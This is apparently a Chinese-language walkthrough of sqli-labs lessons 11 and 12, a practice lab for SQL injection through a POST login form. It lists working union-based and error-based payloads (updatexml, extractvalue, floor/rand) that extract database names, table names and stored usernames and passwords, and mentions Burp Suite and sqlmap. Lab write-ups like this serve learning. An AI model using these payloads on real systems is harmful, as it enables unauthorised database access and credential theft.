less-11
一个登录功能,再去源代码看看还有没有其他信息
可以大致构造一个这个登陆功能的sql语句
select * from table where uname = 'username' and passwd = 'password'
再来看看是什么类型
下方蓝色字内容如下
You have an error in your SQL syntax; check the manual that
corresponds to your MariaDB server version for the right syntax to use
near ‘1’ LIMIT 0,1’ at line 1
嗯,是单引号类型
修改一下构造的sql语句
select username,password from table where uname = ‘input_username’ and passwd = ‘input_password’
蓝字内容
The used SELECT statements have a different number of columns
蓝字内容
FUNCTION security.databsse does not exist
获取了数据库名是security了
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
1' union select 1,group_concat(username,password) from users #
因为它通过POST请求
额外小知识:
POST和GET都是获取网页内容但是POST有大量的数据,GET只有少量是有限制的,而且GET会把发送的数据显示在浏览器,POST不会,所以POST相对安全。
所以还能用 burp suite
抓包后发到Repeater里面进行操作
再来一个sqlmap
把burp suite包复制到文件里面
扫描完以后
查询数据库 --dbs
在这里按下回车
查看当前数据库 --current-db
查看security
里的表
查看security
库中表users
的列
查看security
库中表users
的列值
后面发现这道题是基于错误
那就试试吧
- updatexml函数
1' and updatexml(1,(concat(0x7c,(select database()))),1)#
- extractvalue函数
1' and extractvalue(1,concat(0x7c,(select database())))#
- floor和count(*)
1' union select count(*),concat((select database()),floor(rand()*2))a from information_schema.tables group by a#
1' union select count(*),str(concat((select database()),floor(rand()*2)),utf8)a from information_schema.tables group by a#
随便选一个
1' and updatexml(1,(concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database()))),1)#
1' union select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema =database()),floor(rand()*2))a from information_schema.tables group by a#
less-12
less-12和less-11差不多,只有注入点有区别
less-12的是双引号加括号 “)
select username.password from users where uname=(”“) and passwd=(”")